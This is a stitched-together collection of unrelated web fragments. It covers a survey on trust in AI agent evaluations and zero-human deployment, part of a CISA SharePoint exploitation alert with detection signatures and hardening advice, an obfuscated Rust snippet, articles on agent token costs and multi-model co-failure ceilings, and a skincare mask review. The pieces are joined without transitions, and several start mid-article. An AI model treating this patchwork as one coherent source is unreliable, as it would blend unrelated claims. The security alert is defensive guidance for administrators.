
The top complaint: Evals don't match real-world outcomes

We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

Finding 3: The autonomy ceiling is rising anyway

Two-thirds already allow, or are building toward, zero-human deployment

We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

Finding 4: The evaluation stack is fragmented and provider-led

Provider-native evals lead — tied with no dedicated tool at all

We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

Finding 5: Production monitoring rarely watches output quality

Only a quarter run real-time quality checks on live traffic

Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

Finding 6: Bought on cost, measured on consistency

Price and integration drive selection; evaluation consistency is the goal

We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

Finding 7: The next dollar goes to humans and observability

Investment is flowing to oversight, not just automation

We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

Finding 8: A tooling reshuffle is coming

Nearly two-thirds plan to adopt or switch platforms within a year

We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

The bottom line: An evaluation gap that autonomy will widen, not close

Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

While Apple’s latest AppleCare+ price increase for Mac and iPad is small in isolation, it makes AppleCare One an even better value. Apple increasing the price of Mac and iPad hardware also makes warranty coverage a stronger consideration.

Written by: Jules Czarniak

Read more →

The post Reading between the lines of a cyber insurance policy appeared first on IT Security News.

The post Reading between the lines of a cyber insurance policy appeared first on Help Net Security.

Additionally, the following newly disclosed CVEs are not yet known to have been exploited, but Microsoft has identified them as posing a potential risk if left unpatched:

• CVE-2026-55040
• CVE-2026-58644

CISA urges organizations to detect and remediate a potential compromise by implementing the following recommendations:

• Apply the latest patches and security updates from Microsoft, verify that installation completes successfully, and shorten patching cycles when possible.
• Verify that Antimalware Scan Interface (AMSI) integration is enabled for each SharePoint web application. Follow Microsoft’s Configure AMSI integration with SharePoint Server guidance to ensure proper configuration and select the “Full Mode” option for the Request Body Scan Mode, where feasible. When compromise is expected, use the following AMSI and Microsoft Defender Antivirus (MDAV) detections, and implement your organization’s incident response plan for any positive detections:
  
  • AMSI: Exploit:Script/SuspSignoutReqBody.A – request body scanning; SharePoint Server Subscription only; Microsoft has blocked observed attempts.
  • AMSI: Exploit:Script/ToolPaneAuthBypass.A – request header scanning; SharePoint Server 2016, 2019, and Subscription Edition.
  • AMSI: Exploit:Script/ToolPaneAuthBypass.C – RCE coverage; SharePoint Server 2016, 2019, and Subscription Edition.
  • MDAV: Backdoor:MSIL/LeakFang.A!dha – post-exploitation activity alert involving IIS-protected secrets.

In addition, CISA recommends that organizations implement the following SharePoint Server hardening measures:

• Before rotating IIS machine keys, hunt for and remediate any intrusion artifacts, including machine-key harvesters, that could allow for the keys to be stolen again. Review Microsoft’s Improved ASP.NET view state security and key management for best practices.
• Establish tailored logging mechanisms to detect and monitor exploitation activities. Review telemetry for anomalous requests, suspicious SharePoint worker-process activity, webshells, and machine-key access. For more information, see CISA’s Best Practices for Event Logging and Threat Detection.
• Avoid exposing SharePoint Servers directly to the internet unless necessary; and if necessary, only configure a SharePoint Server behind a Layer 7 reverse proxy or equivalent application-layer security control that requires authentication and can inspect and filter requests. 
• Block external access to SharePoint Central Administration, restrict farm and database communications to required systems, and review Microsoft’s SharePoint Server security-hardening guidance for role-specific ports, services, and Web.config settings.

CISA urges users and administrators to review the Alert UPDATE: Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities and apply necessary updates.

CISA added the following vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog: CVE-2026-32201 on April 14, 2026; CVE-2026-45659 on July 1, 2026; and CVE-2026-56164 on July 14, 2026. 

Note: CISA may update this Alert to reflect new guidance issued by CISA or other parties.

Organizations should report incidents or anomalous activity to CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA. 

Acknowledgements 

Microsoft contributed to this Alert.

Marilyn Shuler has worked as a utilization review nurse for 39 years at Montefiore hospital in the Bronx in New York City, helping to read patient charts and communicate with insurance companies over coverage.

After nearly four decades in her job, Shuler is one of 12 nurses who was laid off Sunday after being replaced with AI-powered software, according to the New York State Nurses Association (NYSNA), which represents nurses at the hospital.

fn
main()
{(|f:&dyn
Fn(u128)->Box<
dyn Iterator<Item=
char>+'static>|f(*[&(
0x7B736D70683F73u128<<64|
0x7A6A6D7C3F7A667D),&(0x7B736Du128
<<64|0x70683F7073737A77)][((std::hint::
black_box(0.0f64)/0.0).to_bits()>>63)as usize])
.for_each(|c|print!("{c}")))(Box::leak(Box::new(|n:
u128|Box::new(std::iter::successors(Some(n),|&n|Some(n>>8)
).take_while(|&n|n>0).map(|n|((n as u8)^0x1F)as char))as _)))}

What’s in the chapter

The chapter starts with a security overview of what Rust’s guarantees do and don’t cover, including underappreciated issues like unwind safety, nondeterminism, and arithmetic errors. This leads into an overview of dynamic analysis, which covers a range of boosters for unit tests, how to use Miri to detect undefined behavior, property testing with proptest, coverage measurement, and mutation testing. The static analysis section then covers Clippy in depth, including a list of our favorite lints.

Beyond tooling, the chapter also covers what we’ve learned from auditing Rust codebases directly. Our gotchas and footguns checklist is a great reference for manual code reviews, and will help you find subtle issues like a & b == c having different operator precedence than in C. The memory zeroization section offers three solutions to the tricky problem of guaranteeing that secrets are erased from memory.

Finally, the specialized testing sections cover tools like Kani (a model checker), and the supply chain section covers the full toolchain for vetting dependencies.

Still oxidizing

We’ve also released rust-review, a Claude Code plugin for automated Rust security reviews. Co-built with Aptos Labs, it targets over a dozen bug classes, from memory safety and concurrency hazards to FFI pitfalls and async cancellation issues. It’s a fast way to catch security issues in a Rust codebase before they make it to audit.

Our goal is to keep the handbook current as the Rust ecosystem evolves. If your favorite tool or gotcha isn’t covered, submit a PR. And if you need help securing your Rust systems, contact us.

The post AI agent crawlers now need permission. Here’s how to get it appeared first on AI News.

The post Microsoft’s new Windows 10 ESU email doesn’t push Windows 11, just reminds users of the year extension appeared first on Windows Latest

The reason is simple: While inference costs plummet, agent systems are voraciously consuming tokens faster than prices are declining. For the last 2 decades, software economics was dictated by the same rule. Infra became cheaper every year whereas applications became more capable. AI was initially hypothesized to follow the same pattern. As frontier models improved and token prices dropped, many assumed inference would become a negligible operating expense.That assumption has begun crumbling exponentially. 

A chatbot usually turns one user question into one model call. An agent turns it into a chain of planning, retrieval, tool use, verification, summarization, and follow-up decisions. The user sees one answer. The vendor pays for the loop. That is the 100x problem: The same user-visible request can cost a lot  more to serve as an agentic workflow than as a chatbot or retrieval-augmented generation (RAG) response. In longer-running workflows, the multiplier is higher. Falling model prices help, but they do not fix a product architecture that turns one prompt into dozens of billable operations.

The scale of what is now at stake is clear in how model providers themselves are pricing developer relationships. OpenAI's proposed program to give every Y Combinator startup $2 million in API credits — a number that would have funded an entire seed round in any prior tech cycle, and when the same cohort got by on a few thousand dollars of AWS credits — is less a recruiting perk than an admission of what it now costs to run an AI-native company through its first year of product. For established enterprises retrofitting agents into existing product lines, the absolute numbers are larger still.

What token amplification is

In a single-turn chatbot, one user message produces roughly one model call. Input-to-billed ratio is about 1:5.

In a multi-step agent rolled out across customer support, sales operations, finance, legal review, and engineering, that ratio routinely lands at 1:700 or higher. Every loop iteration carries forward the cumulative conversation, tool outputs, and reasoning traces. Each step appends; nothing is dropped.

A "simple" agent query like “What did our top customer ask about last week?” typically touches seven priced operations before returning an answer:

1. User prompt (~50 tokens)

2. System prompt and tool definitions (~3,000 tokens, repeated on every call)

3. Retrieval (~5,000 tokens of context)

4. Model call #1 — tool selection (8,000 in / 200 out)

5. Tool execution (~4,000 tokens returned)

6. Model call #2 — summarization (12,000 in / 400 out)

7. Model call #3 — follow-up decision (12,400 in / 100 out)

One sentence in, roughly 35,000 input tokens billed. Somewhere between $0.10 and $0.40 per query on a frontier model. Multiply that by a million queries a month — the table-stakes volume for any enterprise B2B feature — and the line item is six figures.

Why this breaks the existing AI business model

The dominant pricing story for enterprise AI has been seat-based SaaS: Pay per-user per-month, deliver agent capability, capture margin. That model assumes a reasonably bounded cost-per-user.

Token amplification breaks the assumption. A power user running 50 agent invocations a day on a $40/seat plan can cost more in inference than the plan charges. Token amplification shatters the traditional SaaS pricing model. When a power user’s daily agent activity costs more in inference than their monthly subscription fee, vendor gross margins turn negative, a paradox that compounds as customers deepen their agent adoption, the very usage curve vendors are selling to their boards. Several vendors are now privately reporting negative gross margins on heavy users, mirroring recent cloud expenditure reports from the Bessemer 'Supernova' cohort, where the correlation between AI-agent adoption and gross margin contraction has moved from a theoretical risk to a primary P&L headwind.

The visible symptoms have started leaking into public coverage. Bloomberg this week documented a widening gap between Salesforce's Agentforce marketing demos and the capabilities actually shipping to customers. This is the kind of gap that opens predictably when promised functionality is technically possible but uneconomical to serve at the price the seat plan implies. Salesforce is the most-watched case, not a unique one.

"For my team, the cost of compute is far beyond the costs of the employees." — Bryan Catanzaro, VP of Applied Deep Learning, Nvidia

The strategic implication is not "AI is expensive." It is that the dominant business model assumed by most AI-native company plans does not survive contact with agentic workloads.

A simple example

Consider an enterprise software vendor charging $40 per-user per-month for an AI-enabled support assistant. A traditional chatbot might cost only a few cents per user per day in inference, leaving healthy gross margins.

Now replace that chatbot with a fully agentic workflow capable of investigating tickets, querying internal systems, drafting responses, validating outputs, and escalating exceptions. If a heavy user executes 50 to 100 agent requests per day, inference consumption can increase by an order of magnitude. What was once a negligible infrastructure cost becomes a material operating expense.

This creates an unusual dynamic: The customers receiving the most value from the product are often the customers generating the highest inference costs. In extreme cases, vendors can find themselves with their most engaged users contributing the least profit. The result is a growing realization across enterprise software that agent adoption and margin expansion are no longer automatically aligned.

Agent orchestration is the new moat

The technical responses are known and converging. They are not novel, but they are critical for survival

• Cost-aware routing: This technique involves a small classifier model that decides which tier (Haiku, Sonnet, Opus equivalents) handles each query. Well-tuned routers cut inference bills by around 60% without any degradation in quality

• Prompt caching: Anthropic, OpenAI, and Google now offer 75 to 90% discounts on cached prefixes. 

• Context discipline: You can truncate tool outputs, prune reasoning traces, and cap tool depth to prevent your agent from going down a rabbit hole

• Speculative decoding: for self-hosted deployments, this technique guarantees 2 to 3X effective throughput on the same GPUs.

"Organizations using orchestration-led governance report stronger productivity gains — a holistic orchestration layer is associated with six times greater productivity impact than compliance‑only approaches" — IBM

The companies building this layer well are starting to look less like microservice operators and more like financial trading systems: Every routing decision priced, every path with its own P&L, every tenant on a metered budget.

What enterprise leaders should actually do

Four moves separate the companies that will still have margin in 24 months from the ones that won't:

1. Make inference cost a first-class metric. Track it per-feature, per-tenant, per-query class the same way cloud cost was tracked starting in the mid-2010s.

2. Budget like a media buyer. Set cost-per-thousand-queries ceilings per feature. Cap them. Alert on overruns. Engineering will not enforce this on its own.

3. Treat the router as core infrastructure, not an optimization. It is the new load balancer.

4. Audit prompts quarterly. A 4,000-token system prompt that grew organically over six months is a six-figure bill in slow motion. Most teams have never read their own production prompts end to end.

5. Negotiate volume commits early. Frontier-model vendors now offer reserved-instance-style prepaid commits at substantial discounts. List price is the worst price any enterprise will ever pay.

The next 24 months

The structural shift underneath agentic AI is not that it is expensive. As DeepSeek's price cut today underscores, frontier inference unit costs are dropping roughly 3X per year, and the curve is not slowing.

The shift is that amplification is outrunning the price cuts. Cutting per-token costs 75% does not help a company whose agents are doing 700X more tokens per user query than its pricing model assumed. For the first time since the cloud era began, architecture decisions are again financial decisions in real time. A prompt redesign is a margin event. A poorly bound agent loop is an outage with a credit card attached.

The companies that survive the next 24 months of AI infrastructure pricing will not be the ones running the cheapest model. They will be the ones whose agents are smart and know what they cost to think.

That is the 100X problem. And it is arriving faster than the price cuts can hide it.

Maitreyi Chatterjee is a senior software engineer at a big tech company.

Devansh Agarwal works as an ML engineer at a leading tech company.

• The best LED face masks

I’ve been testing LED masks for a couple of years now, and the CurrentBody Series 2 red-light face mask has long been my favourite option for anti-ageing. It’s comfortable, offers excellent coverage and powerful deep near-infrared treatments. Sadly, it doesn’t work for other skin concerns. It’s a one-trick pony.

So, when I heard that CurrentBody had launched its Multi Light Therapy mask with five different modes, I was interested to see how it would stand up to the stellar performance of its predecessor. As someone with hormonal acne, I was especially keen to try the mask’s “clearing” mode, but it also offers a calming “restoring” mode, a pigmentation-reducing “brightening” mode, and a distinctive “complete” mode, as well as the “anti-ageing” mode.

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. 

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

Enterprises are now retrofitting to catch up with their own standards, and they are budgeting for it: Roughly six in 10 enterprises plan to switch or add vendors in each of five control layers within the next 12 months, and roughly a third — depending on the layer — plan to move within the quarter, the research finds.

There are five main layers where enterprises are building: identity for agents (which agent is allowed to do what, under whose credentials); evaluation of agent output (whether the work is any good); cost telemetry (what each agent costs to run); the context layer (the business data and definitions agents draw on to answer); and the orchestration control plane (the software that coordinates multi-step agent work).

Enterprises are already paying the price for deploying agents ahead of adequate control functions. Fifty-four percent of companies had an agent security incident or near-miss caught before harm in the past 12 months. Twenty-seven percent exercise only reactive control of agent spend — they learn what an agent costs when the invoice arrives, with no per-agent budget or ceiling in place.

Here are the five findings that anchor the set — one finding per layer of the tech stack — and what the data suggests doing first in each.

Expensive hardware is idle: 86% of GPU operators report utilization of 50% or less

Eighty-six percent of enterprises that run their own GPUs report utilization of 50% or less. Wall Street has spent the quarter debating whether the AI buildout is overbuilt. This is buy-side measurement, from the enterprises doing the buying, and the research says the most expensive hardware in buildings of these enterprises runs at no more than half its capacity.

The measurement gap compounds it: A minority 44% rigorously track what their AI compute actually costs and returns. Everyone else is only estimating. And the enterprise shopping process continues regardless: 45% of these enterprises say the emerging compute option they are most likely to evaluate in the next 12 months is an AI-specialized cloud (CoreWeave, Lambda, Crusoe, Nebius). However, under 2% of these enterprises report using one of these neoclouds today.

Moreover, roughly one in three companies appears to be considering a hedge against Nvidia: Asked which emerging compute option they are most likely to evaluate in the next 12 months, 32% of enterprises named non-Nvidia accelerators (AWS Trainium, Google TPUs, AMD), while 28% named next-generation Nvidia GPUs. The data suggests that enterprises should measure the utilization and per-workload cost of the GPUs they already own before committing budget to new compute — whether that's an AI-specialized cloud contract, new accelerators, or more GPUs. 

Most deployed "agents" do single-prompt work: 71% say a quarter or fewer complete multi-step tasks on their own

Seventy-one percent of enterprises say a quarter or fewer of their deployed "agents" can complete multi-step work on their own; the rest are single-prompt chatbots. Only 10% say true agents are the majority of what they run. To be sure, the respondents reported that they are in a position to know these things: 81% said they recommend or decide AI purchases at their companies.

That finding — that most agents are actually just chatbots in trenchcoats — lands amid adoption claims across the industry running well ahead of what enterprises are actually running. Gartner predicted 40% of enterprise applications will be integrated with task-specific AI agents by the end of 2026, up from less than 5% in 2025. It also warned that the most common misconception is referring to these AI assistants as agents, a misunderstanding known as "agentwashing."

Meanwhile, Zapier's enterprise survey said 72% reported deploying or testing autonomous agents; and Writer's 2026 survey has 97% of executives saying their company deployed AI agents in the past year. 

Those surveys asked whether companies have deployed something called an AI agent, and companies said yes. Our survey asked the people running those deployments a harder question: Of the agents you have in production, how many can complete a multi-step task without a person driving each step? The gap matters for two practical reasons. First, the inflated adoption figures are the benchmark boards and vendors use to pressure technical leaders into moving faster — and this data says the real bar is far lower than the headlines suggest. Second, the label determines the bill: A single-prompt chatbot with a human reading every answer needs none of the identity, evaluation, and cost controls this report covers, while a true multi-step agent needs all of them. 

66% let agents push to production on automated evals alone — or are engineering toward it. 5% fully trust those evals

Two-thirds of enterprises fall into one of two camps: 34% already allow an AI agent to push a code or system change to production based on automated evaluation results alone, with no human reviewing it, and another 33% are actively engineering their pipelines to allow that within the next 12 months. Only five percent fully trust the automated evaluations that would make that decision.

The distrust is earned. Half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year; a quarter watched it happen more than once. Asked to name the biggest weakness in their current evaluations, more enterprises chose “poor alignment with real-world outcomes” than any other answer — 29% of respondents.

And most of the checking happens before an agent ships, then stops. Once agents are live with real users, only 23% of enterprises run real-time quality checks on the answers those agents produce. Another 51% monitor system health only — uptime, request traces, and gateway logs — which tells them the agent is running, and nothing about whether its answers are right. The first move: Before removing human review from any workflow, test your evaluations against production outcomes rather than internal benchmarks, and instrument answer quality, not just uptime.

This finding is explored in more depth in VentureBeat's related coverage of the evaluation gap, which found that larger enterprises are moving faster toward zero-human deployment while also failing more often — and outlines a regression-testing framework built on production outcomes rather than internal benchmarks.

69% run credential sharing somewhere in the agent fleet — and those companies get hit far more often

Sixty-nine percent of companies allow agent credential sharing somewhere in their agent fleet during runtime – meaning multiple agents operating under one API key or service account. Those companies were far more likely to get hit: Organizations with credential sharing anywhere in the fleet experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent has its own scoped identity. 

The takeaway for enterprises is this: Give every agent its own scoped identity, starting with the agents that touch production systems.

57% traced a confident, wrong agent answer to their own missing or inconsistent business context

Fifty-seven percent of enterprises traced at least one confident, wrong agent answer in the past six months to missing or inconsistent business context: wrong metrics, stale definitions, absent documents. Most of them watched it happen more than once.

Most enterprise companies are fixing this, even though they’ve moved forward with agent deployment already: 25% already run a governed semantic layer, or one governed definition of the business that every AI reads from, in production. However, 34% are still building one, and 41% haven't started. The takeaway: Govern the definitions your agents answer from, metrics and entities first, before scaling the agents that depend on them.

The quarter where agent technology “portability” became a priority

One more shift is worth reporting with its limits stated plainly. In our spring orchestration survey wave, the top concern about provider-controlled orchestration was security and permissioning limits (32%). By June, vendor lock-in led at roughly a third, with security limits at 28%. 

Those are two snapshots one quarter apart, and here’s one possible explanation for why portability became a top issue for enterprises. Our June survey went into market after a June 12 U.S. Commerce Department export order took Anthropic's Claude Fable 5 offline for enterprises for roughly three weeks. Meanwhile, Chinese company Z.ai released GLM-5.2's open weights under an MIT license on June 16 at roughly one-sixth of GPT-5.5's price; and Tencent's Hy3 arrived July 6 under Apache 2.0; and OpenAI previewed GPT-5.6 on June 26 to a small group of government-vetted partners, opening it broadly on July 9 after the government's review cleared. The open-weight releases in particular promise enterprises more control over their agents, and while we haven't established a causal link here, the timing is worth noting.

The posture data matches the mood: 51% now expect their primary control plane for enterprise agents to be hybrid — provider-native plus external orchestration — by the end of 2026, up from 34% in the spring survey wave. Enterprises reporting that they rely purely on provider-managed agent services fell from 12% to 7%.

Five layers, no incumbents, 12 months

The synthesis across all five surveys reveals a huge “buying” window. In each of the five control layers, 57% to 64% of enterprises plan to switch or add vendors within 12 months — 64% in infrastructure and in evaluations, 59% in agent security, 57% in retrieval and context — and 26% to 38%, depending on the layer, plan to move within a quarter. No layer has an established incumbent: The most common evaluation tooling is the model provider's built-in evals, tied with no dedicated tooling at all (17% each); 82% of respondents name provider-native or hyperscaler controls as their primary agent security layer; and provider-native retrieval leads the context technology layer (RAG, etc) as well. 

Most enterprises are defaulting today to the built-in tools that ship with the big AI platforms they already use: Anthropic, OpenAI, Google, Microsoft, and AWS. That holds true across every one of these agentic technology layers: enterprises are looking to their primary cloud and model providers to supply the guardrails, evaluations, and retrieval solutions already bundled into those providers' offerings.

Those defaults are winning on convenience, and they're also what the coming spending decisions will test. The survey didn't ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — which is exactly why every contract in these five layers is worth watching over the next four quarters.

The Q3 survey wave will measure whether the enterprises made good on these budget plans: whether their agents gained scoped identities, whether evaluations got tested against production outcomes, whether GPU utilization rose, and whether the semantic layers under construction shipped.

VentureBeat will release the full Q2 reports across all five VB Pulse trackers at VB Transform, July 14–15 at Hotel Nia in Menlo Park, where we convene enterprise technical leaders building autonomous agents in production. 

Disclosure: VentureBeat produces both this research and VB Transform

The assumption works like this: as long as two models don't usually fail on the exact same prompts, combining them is supposed to create a safety net against failures.

The real limit on orchestration is not how often models disagree, but the percentage of prompts where every model in the pool gives the wrong answer at once. By ignoring the co-failure ceiling, enterprises are building complex, expensive routing infrastructure to chase performance gains that do not exist. Fortunately, developers can use this same math to build a cost-free test that determines exactly when multi-model orchestration will actually pay off.

The hidden costs of the multi-model strategy

To orchestrate multiple language models, developers typically rely on three architectures. Model routers act as traffic cops, sending complex queries to expensive models and simple queries to cheaper ones. Cascades send every prompt to a cheap model first, only escalating to a premium model if the initial system signals low confidence. Finally, approaches like Mixture-of-Agents (MoA) fuse multiple models by asking them the same question and generating a synthesized answer from their combined outputs.

These architectures introduce a "shadow price" to inference costs. Every time a development team implements a router or a cascade, they pay a premium in added system latency, complex infrastructure maintenance, and increased governance risks across multiple API providers.

To justify these operational costs, engineers rely on “pairwise error correlation” to select their model pool. Imagine a developer has Model A, which writes excellent Python but fails at SQL, and Model B, which writes excellent SQL but fails at Python. Because they fail on different types of prompts, their pairwise error correlation is low. The developer assumes that by placing a routing layer in front of them, they have created a composite system that rarely fails at coding.

According to the study, throwing diverse models together based on low correlation can actually hurt performance if the models are not equally capable — when you vote across diverse but unequal models, the weaker ones often gang up and outvote the smartest one.

Josef Chen, author of the paper, told VentureBeat that in their experiments, "Naive majority voting across unequal models had negative mean gain (minus 10 points on our hard mix): diverse-but-weaker members outvote the strong one." The actionable advice for developers is to "combine only models within a matched quality band." If you cannot match quality, take the single-model baseline and spend your budget on the best model available.

The paper provides one bright spot for this approach regarding MoA architectures. When building ensembles, teams often use "Self-MoA," where they query the same premium model multiple times to generate a synthesized answer. The researchers found that at matched quality, building a diverse ensemble of models with low pairwise correlation beats a high-correlation Self-MoA setup.

However, when teams use that same pairwise correlation metric to predict the absolute accuracy of their overall system, the math breaks down.

"So teams pay the orchestration overhead up front (latency, complexity, multi-provider operations) on the assumption that a diversity dividend arrives later," Chen said. "Usually it doesn't, because today's best models agree, and, worse, they fail on the same queries … the prompt simply carries little signal about which model will be the one that's right when the frontier disagrees."

Why the math fails: the co-failure ceiling

The core finding of the study centers on a metric called the "co-failure rate" — the formal name for the all-wrong scenario described above. No router, voting system, or cascade can ever achieve an accuracy higher than the ceiling it imposes.

The coding, logic, and generalist pool shows low pairwise correlation on routine prompts — they rarely fail together. But the co-failure ceiling represents the obscure, highly complex edge case that pushes past the limits of current AI architectures. If a prompt is so difficult that all three models hallucinate or fail, it does not matter how intelligently the router distributes the task. The entire pool wipes out at once.

The researchers tested their 67-model pool, which included GPT-5.5, Claude Opus 4.8, and Gemini 3.1 Pro, on the open-ended MATH-500 math benchmark. Based on standard pairwise correlation, statistical models predicted that the entire pool would wipe out simultaneously on only 2.3% of the questions. In reality, the co-failure rate was 5.2%.

Standard correlation metrics underestimated the failure rate by roughly 2.25 times. The culprit is not just independent difficulty, but a shared failure point.

"The driver is what we call a common-mode atom: a slice of queries on which the entire market fails together, which no pairwise statistic can see," Chen said. "Adding a 20th model to your pool doesn't buy tail coverage. The tail is shared."

The researchers also found that task format directly triggers co-failure. When they took graduate-level science questions from the GPQA benchmark and changed them from multiple-choice to free-response formats, the all-wrong tail expanded to 12.7%.

Developers can engineer around the ceiling, though. "The engineering implication is uncomfortable: multi-model setups buy the least exactly where teams want them most, on open-ended generation," Chen said. "Anywhere you can convert generation into verification or constrained selection (structured outputs, checkable answers, execution tests), you reopen the ceiling."

Ultimately, the researchers found this ceiling limits AI applications in two distinct ways, depending on the domain:

• Ceiling-bound environments (e.g., open-ended math): The co-failure rate is high. The task is too hard, and all models fail simultaneously. No amount of routing can bypass the lack of underlying capability.

• Realizability-bound environments (e.g., graduate-level science): The co-failure rate is near zero, meaning at least one model in the pool usually knows the answer. However, the models disagree so subtly that a routing layer cannot reliably pick the correct answer without an omniscient oracle.

The $0 pre-deployment sanity check

Before dedicating engineering hours to building a router, teams can calculate their absolute performance ceiling for free using a mathematical formula called a Clopper-Pearson bound.

